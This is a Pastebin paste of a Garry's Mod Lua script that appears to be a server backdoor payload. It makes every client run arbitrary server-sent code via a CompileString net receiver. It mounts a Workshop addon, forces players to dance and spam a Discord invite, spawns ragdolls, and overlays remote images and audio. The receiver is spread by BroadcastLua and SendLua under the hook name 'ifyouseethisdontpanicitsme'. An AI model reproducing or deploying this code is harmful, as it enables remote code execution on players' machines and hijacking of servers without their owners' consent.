Advertisement
kinder20

Untitled

May 4th, 2019
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.09 KB | None | 0 0
  1. function RandomString( intMin, intMax )
  2. local ret = ""
  3. for _ = 1, math.random( intMin, intMax ) do
  4. ret = ret.. string.char( math.random(65, 90) )
  5. end
  6.  
  7. return ret
  8. end
  9.  
  10. m_strImageGlobalVar = RandomString( 6, 12 )
  11.  
  12. local function rdm_str(len)
  13. if !len or len <= 0 then return '' end
  14. return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  15. end
  16.  
  17. steamworks.FileInfo(1618885873,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)
  18.  
  19. timer.Simple(15, function()
  20.  
  21. game.AddParticles( "particles/enigma.pcf" )
  22.  
  23. PrecacheParticleSystem("enigma")
  24.  
  25. for i = 1, 10 do
  26. ParticleEffectAttach("enigma", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer(), 0)
  27. end
  28. end)
  29.  
  30.  
  31. local net_string = rdm_str(25)
  32.  
  33. util.AddNetworkString(net_string)
  34. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  35. hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
  36. if !ply:IsBot() then
  37. ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  38. end
  39. end)
  40.  
  41. local function SendToClient(code)
  42. timer.Simple(1, function()
  43. local data = util.Compress(code)
  44. local len = #data
  45. net.Start(net_string)
  46. net.WriteUInt(len, 16)
  47. net.WriteData(data, len)
  48. net.Broadcast()
  49. end)
  50. end
  51.  
  52.  
  53. hook.Add("Think","\xFF\xFF\xFF",function()
  54. local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  55. for _, v in ipairs(player.GetAll()) do
  56. v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  57. end
  58. end)
  59.  
  60. SendToClient([=[
  61. g_]=].. m_strImageGlobalVar.. [=[ = {}
  62. local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  63. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  64. local pnl = vgui.Create( "HTML" )
  65. pnl:SetPos( ScrW() -1, ScrH() -1 )
  66. pnl:SetVisible( true )
  67. pnl:SetMouseInputEnabled( false )
  68. pnl:SetKeyBoardInputEnabled( false )
  69. pnl:SetSize( intSizeX, intSizeY )
  70. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  71.  
  72. local PageLoaded
  73. PageLoaded = function()
  74. local mat = pnl:GetHTMLMaterial()
  75. if mat then
  76. g_]=].. m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  77. return
  78. end
  79.  
  80. timer.Simple( 0.5, PageLoaded )
  81. end
  82.  
  83. PageLoaded()
  84. end
  85. LoadWebMaterial( "https://i.imgur.com/3TUuahR.gif", "hud2", 256 , 256 )
  86. ]=])
  87.  
  88. timer.Create("nonameplease", 5, 0,function()
  89. for i=1, #player.GetHumans() do
  90. local ply = player.GetHumans()[i]
  91. ply:Say( "/ooc DISCORD : https://discord.gg/NXRhDzx")
  92. end
  93. end)
  94.  
  95. SendToClient([=[
  96.  
  97. timer.Simple(5, function()
  98.  
  99. timer.Create("semmmmm", 5, 100, function()
  100. RunConsoleCommand("act","dance")
  101. RunConsoleCommand("_darkrp_doanimation", "1642")
  102. end)
  103.  
  104. local ragtbl = {}
  105. for i=1,20 do
  106. ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  107. ragtbl[i]:SetNoDraw( false )
  108. ragtbl[i]:DrawShadow( true )
  109. end
  110.  
  111. local function GetWebMat( strURL )
  112. return g_]=].. m_strImageGlobalVar.. [=[[strURL]
  113. end
  114. local uwu = {}
  115.  
  116. hook.Add("HUDPaint", "okay",function()
  117. for k,v in pairs(uwu) do
  118. v()
  119. end
  120. end)
  121.  
  122. SOUNDSTART_CTP = false
  123. OZJFOZJCEZIO = true
  124.  
  125.  
  126. sound.PlayURL("https://www.dropbox.com/s/tex4mnp6x8n01gk/Matbow%20-%20Trap%20King%282%29.mp3?dl=1","mono noblock noplay",function(s)
  127. if not s then return end
  128. if SOUNDSTART_CTP then s:Stop() return end
  129. SOUNDSTART_CTP = true
  130. s:SetVolume(2 )
  131. s:Play()
  132. s:EnableLooping( true )
  133.  
  134. local ragtbl = {}
  135.  
  136. uwu["CoolEffect"] = function()
  137.  
  138. local tbl = {}
  139. s:FFT(tbl,FFT_2048)
  140.  
  141. xpcall(function()
  142. local fal = 0
  143. for i=4,6 do
  144. fal = fal + tbl[i]
  145. end
  146.  
  147. if fal > 0.8 then
  148.  
  149. local oneid = "newhud"..math.random(100, 300).."id"
  150.  
  151. hook.Add( "HUDPaint", oneid, function()
  152. surface.SetDrawColor( 255, 255, 255, 255 )
  153.  
  154. if GetWebMat( "hud2" ) then -- lui
  155. surface.SetMaterial( GetWebMat("hud2")[1] )
  156. surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  157. end
  158.  
  159. end )
  160.  
  161. timer.Simple(0.2, function()
  162. hook.Remove( "HUDPaint", oneid)
  163. end)
  164.  
  165. end
  166. end,function()
  167. end)
  168.  
  169. end
  170.  
  171. end)
  172. end)
  173. ]=])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement